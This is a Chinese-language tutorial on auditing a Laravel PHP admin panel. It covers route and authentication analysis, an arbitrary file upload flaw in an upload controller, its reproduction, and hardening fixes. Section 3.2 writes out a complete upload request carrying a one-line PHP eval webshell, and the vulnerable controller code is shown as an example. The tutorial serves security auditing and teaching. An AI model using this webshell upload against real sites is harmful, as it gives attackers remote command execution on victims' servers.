PHP管理后台快速审计教学文档

一、框架识别与准备

1.1 目标框架识别

• 审计目标为基于Laravel框架的PHP管理后台系统
• Laravel框架路由访问方式与ThinkPHP框架相似
• 需要熟悉Laravel的基本目录结构和路由机制

1.2 审计环境准备

• 获取完整的源代码
• 配置本地测试环境（PHP + Laravel）
• 准备Burp Suite、Postman等测试工具

二、路由与权限分析

2.1 路由文件分析重点

2.1.1 routes/api.php 文件分析

Route::middleware('auth:api')
    ->get('/user', function (Request $request) {
        return $request->user();
    });

• auth:api中间件要求请求必须携带合法api_token
• 通过认证后返回当前登录用户信息

Route::prefix('v1')
    ->namespace('Api')
    ->name('api.v1.')
    ->group(function () {
        // 路由组配置
    });

• 控制器命名空间：app/xxx/Controllers/Api目录
• 路由前缀：/v1
• 路由名称前缀：api.v1.

2.1.2 接口权限分类

无需登录的接口：

• 通用接口
• 公开访问接口

需要认证的接口：

• 经过auth:api中间件验证的接口
• 需要有效api_token的接口

2.1.3 routes/web.api 文件分析

Route::group(['namespace' => 'BAdmin', 'prefix' => 'badmin'], function () {
    // 路由组配置
});

• 控制器命名空间：app/xxx/Controllers/BAdmin目录
• 路由前缀：/badmin（如/badmin/login）

2.2 审计策略

• 优先审计无需登录的接口
• 重点关注api.php和web.api中的公开接口
• 快速定位可能存在安全风险的功能点

三、漏洞挖掘与分析

3.1 文件上传漏洞挖掘

3.1.1 漏洞定位

在api.php中发现文件上传接口，跟进对应Controller

3.1.2 代码分析

public function uploadPhoto(Request $request)
{
    // 获取上传的文件对象
    $file = $request->photo;
    
    // 获取文件扩展名处理
    $extension = strtolower($file->getClientOriginalExtension()) ?: 'png';
    
    // 文件保存路径
    $path = $file->storeAs(
        'public/uploads/photos/' . date('Y/m/d'),
        time() . rand(1000, 9999) . '.' . $extension
    );
    
    return response()->json(['path' => $path]);
}

3.1.3 漏洞分析要点

1. 缺少文件类型验证

   • 仅获取原始扩展名，无白名单校验
   • 扩展名为空时默认设为png

2. 文件保存逻辑

   • 保存路径：public/uploads/photos/日期/
   • 文件名：时间戳+随机数+扩展名
   • 直接使用move方法保存文件

3. 安全风险

   • 可上传任意文件类型（php、jsp等）
   • 文件路径可预测
   • 无内容安全检查

3.2 漏洞复现步骤

3.2.1 测试环境搭建

1. 部署目标系统到测试环境
2. 确认文件上传接口可访问
3. 准备测试文件（webshell等）

3.2.2 攻击向量构造

POST /api/v1/upload-photo HTTP/1.1
Host: target.com
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="photo"; filename="shell.php"
Content-Type: image/jpeg

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary--

3.2.3 验证漏洞存在

1. 上传PHP文件成功
2. 获取返回的文件路径
3. 直接访问上传的PHP文件验证可执行性

四、修复建议

4.1 文件上传安全加固

4.1.1 白名单验证

$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
if (!in_array($extension, $allowedExtensions)) {
    return response()->json(['error' => '文件类型不允许'], 400);
}

4.1.2 文件内容检查

// 检查文件MIME类型
$allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file->getMimeType(), $allowedMimes)) {
    return response()->json(['error' => '文件类型不合法'], 400);
}

// 图片文件真实性验证
if (!getimagesize($file->getPathname())) {
    return response()->json(['error' => '非法的图片文件'], 400);
}

4.1.3 安全存储策略

// 重命名文件
$filename = md5(uniqid()) . '.' . $extension;

// 设置合适的存储权限
// 避免将上传目录设置为可执行

4.2 整体安全建议

1. 输入验证

   • 所有用户输入都必须经过严格验证
   • 使用Laravel提供的验证机制

2. 权限控制

   • 严格区分公开接口和需要认证的接口
   • 实施最小权限原则

3. 安全配置

   • 关闭调试模式
   • 配置合适的安全头
   • 定期更新框架和依赖

五、审计技巧总结

5.1 快速定位技巧

1. 优先检查路由定义文件（routes/目录）
2. 关注无需认证的接口
3. 重点审计文件操作、数据库操作、命令执行等高风险功能

5.2 代码审计要点

1. 追踪用户输入的数据流
2. 检查是否存在直接使用用户输入的情况
3. 验证所有安全控制措施是否到位

5.3 测试验证方法

1. 黑盒测试与白盒测试结合
2. 使用自动化工具辅助验证
3. 手动验证关键漏洞点

通过系统性的审计方法，可以有效发现和修复PHP管理后台中的安全漏洞，提升系统整体安全性。